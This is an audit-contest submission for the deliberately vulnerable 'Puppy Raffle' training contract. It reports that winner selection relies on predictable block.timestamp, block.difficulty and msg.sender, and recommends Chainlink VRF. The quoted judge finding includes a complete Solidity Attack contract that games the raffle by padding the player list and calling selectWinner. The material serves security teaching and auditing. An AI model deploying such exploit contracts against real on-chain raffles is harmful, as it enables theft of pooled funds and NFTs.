Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

`selectWinner()` uses `block.timestamp` and `block.difficulty` for randomness → winner can be predicted and manipulated

aiada

Description

  • Normal: Random winner selection should use an unpredictable entropy source like Chainlink VRF.

  • Bug: All three entropy sources are on-chain and predictable: msg.sender is known, block.timestamp is miner-influenceable, block.difficulty is publicly readable.

// src/PuppyRaffle.sol:128-129
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(
msg.sender, //@> Known — the caller's address
block.timestamp, //@> Manipulable — validators can adjust within ~15s
block.difficulty //@> Public — readable by anyone on-chain
))) % players.length;

Risk

Likelihood:

  • Attacker simulates selectWinner() off-chain before submitting their transaction

  • Validator (or validator-colluding MEV searcher) can adjust block.timestamp to land on a favorable index

  • In PoS Ethereum, block proposers are known in advance, making timestamp manipulation predictable

Impact:

  • Attacker guarantees they win by only submitting when the computed index is their own

  • With MEV infrastructure (Flashbots bundles), this can be fully automated

  • Raffle fairness is completely broken — random selection is not random

Proof of Concept

An attacker can pre-compute:

uint256 predictedWinner = uint256(keccak256(abi.encodePacked(
attackerAddress, block.timestamp, block.difficulty
))) % players.length;

If predictedWinner != attackerIndex, the attacker simply waits for the next block or bundles transactions to manipulate block.timestamp. Once predictedWinner == attackerIndex, they submit selectWinner().

Recommended Mitigation

- uint256 winnerIndex = uint256(keccak256(abi.encodePacked(
- msg.sender, block.timestamp, block.difficulty
- ))) % players.length;
+ // Use Chainlink VRF for verifiable on-chain randomness
+ uint256 winnerIndex = randomnessFromVRF % players.length;
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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